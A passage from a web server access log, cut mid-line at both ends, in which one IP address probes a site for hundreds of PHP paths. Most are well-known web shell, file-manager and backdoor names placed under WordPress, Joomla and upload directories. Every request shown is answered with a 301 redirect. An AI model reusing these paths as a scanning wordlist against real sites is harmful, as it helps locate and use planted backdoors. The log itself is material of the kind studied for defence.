301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:01 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:02 -0400] "GET /o1j5SBMHlRz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:02 -0400] "GET /o7LSW.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:03 -0400] "GET /oRxHmTiQhWN.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:03 -0400] "GET /oUQD9iRdOhH.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:04 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:05 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:05 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:06 -0400] "GET /option-old.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:06 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:07 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:07 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:07 -0400] "GET /p HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:08 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:08 -0400] "GET /pHx9IqoXnlL.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:09 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:09 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:10 -0400] "GET /php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:10 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:11 -0400] "GET /php/?path=/home/jufu7693/public_html HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:11 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:12 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:12 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:13 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:13 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:14 -0400] "GET /pqyKOTiR2.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:15 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:15 -0400] "GET /private/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:16 -0400] "GET /public/5.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:16 -0400] "GET /public/index.php/en HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:16 -0400] "GET /pvWDCdf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:17 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:18 -0400] "GET /q5nOTl9aAEQ.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:18 -0400] "GET /qCVobSth3u7.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:18 -0400] "GET /qc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:19 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:19 -0400] "GET /rO1GEuJydNZ.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:20 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:21 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:21 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:22 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:23 -0400] "GET /rbh/log.ph HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:23 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:23 -0400] "GET /readme.php/wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:24 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:25 -0400] "GET /rk1W6vMJj8y.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:25 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:26 -0400] "GET /root/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:26 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:27 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:28 -0400] "GET /sHS.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:28 -0400] "GET /sMG.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:29 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:30 -0400] "GET /sb.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:30 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:31 -0400] "GET /secure/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:32 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:32 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:33 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:33 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:34 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:35 -0400] "GET /shell.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:35 -0400] "GET /shell/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:36 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:37 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:37 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:38 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:38 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:39 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:39 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:40 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:40 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:40 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:41 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:41 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:42 -0400] "GET /simple/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:43 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:44 -0400] "GET /sitemap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:44 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:45 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:46 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:47 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:48 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:48 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:49 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:51 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:52 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:53 -0400] "GET /system//default.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:54 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:55 -0400] "GET /system_log.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:56 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:57 -0400] "GET /t4MyJ.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:57 -0400] "GET /tB.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:58 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:59 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:01 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:01 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:02 -0400] "GET /templates/natural.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:03 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:05 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:05 -0400] "GET /test.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:06 -0400] "GET /test/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:07 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:07 -0400] "GET /tghuGZVrERD.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:08 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:09 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:09 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:10 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:10 -0400] "GET /tiny.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:11 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:11 -0400] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:12 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:12 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:13 -0400] "GET /tkpKSqOfFIE.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:13 -0400] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:14 -0400] "GET /tqy.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:15 -0400] "GET /tsRBxmo.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:15 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:16 -0400] "GET /ty.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:17 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:17 -0400] "GET /uWjxHmRO9AM.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:18 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:18 -0400] "GET /up.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:19 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:19 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:21 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:21 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:22 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:23 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:23 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:25 -0400] "GET /uploads/.1/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:26 -0400] "GET /uploads/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:26 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:27 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:28 -0400] "GET /used HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:29 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:31 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:32 -0400] "GET /uvrDZ.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:33 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:34 -0400] "GET /vSiY7GNIxVH.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:35 -0400] "GET /var/www/html/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:35 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:36 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:37 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:38 -0400] "GET /wcqLft7.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:39 -0400] "GET /we.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:40 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:42 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:43 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:45 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:46 -0400] "GET /winamp/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:47 -0400] "GET /wkG.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:48 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:49 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:49 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:50 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:51 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:52 -0400] "GET /wp-Owl.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:53 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:53 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:54 -0400] "GET /wp-admin.phphttps://diegun.com/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:55 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:55 -0400] "GET /wp-admin//fmadmin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:56 -0400] "GET /wp-admin/31eqRsJgQ6n.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:57 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:57 -0400] "GET /wp-admin/5gTfXRhIqkW.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:57 -0400] "GET /wp-admin/7EPezNYMy84.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:58 -0400] "GET /wp-admin/8h4AoSFJCLO.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:59 -0400] "GET /wp-admin/9pX1s4oMLtC.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:49:59 -0400] "GET /wp-admin/AhqPecJ6oky.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:00 -0400] "GET /wp-admin/FriUsGzT5d7.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:00 -0400] "GET /wp-admin/GkXRTpxowKQ.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:01 -0400] "GET /wp-admin/ILNqJhgUpAG.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:02 -0400] "GET /wp-admin/LaAkNhWMyOQ.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:02 -0400] "GET /wp-admin/MDO8adG9euX.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:03 -0400] "GET /wp-admin/NFBqIyOZcQL.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:04 -0400] "GET /wp-admin/O5pANR6rDXx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:05 -0400] "GET /wp-admin/RqdXEex3Jfb.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:06 -0400] "GET /wp-admin/UmpVR1Ersn8.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:08 -0400] "GET /wp-admin/WvASxq1D2c8.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:11 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:12 -0400] "GET /wp-admin/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:14 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:16 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:19 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:21 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:23 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:24 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:25 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:27 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:28 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:29 -0400] "GET /wp-admin/css//about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:29 -0400] "GET /wp-admin/css//forbidden.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:29 -0400] "GET /wp-admin/css//item.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:30 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:31 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:31 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:32 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:33 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:34 -0400] "GET /wp-admin/css/colors//Admin-Author.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:35 -0400] "GET /wp-admin/css/colors//about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:36 -0400] "GET /wp-admin/css/colors//moon.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:37 -0400] "GET /wp-admin/css/colors/aPRTXyP.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:38 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:39 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:39 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:40 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:41 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:42 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:44 -0400] "GET /wp-admin/css/colors/blue/index.php/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:45 -0400] "GET /wp-admin/css/colors/blue/index.php/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:46 -0400] "GET /wp-admin/css/colors/blue/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:47 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:48 -0400] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:48 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:49 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:49 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:51 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:52 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:53 -0400] "GET /wp-admin/css/colors/ectoplasm//my1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:54 -0400] "GET /wp-admin/css/colors/ectoplasm/users.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:55 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:56 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:57 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:58 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:58 -0400] "GET /wp-admin/css/colors/light/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:50:59 -0400] "GET /wp-admin/css/colors/midnight/IUSPPi.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:00 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:01 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:02 -0400] "GET /wp-admin/css/colors/ocean/wp-post.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:02 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [14/Apr/2025:23:51:03 -0400] "HEAD 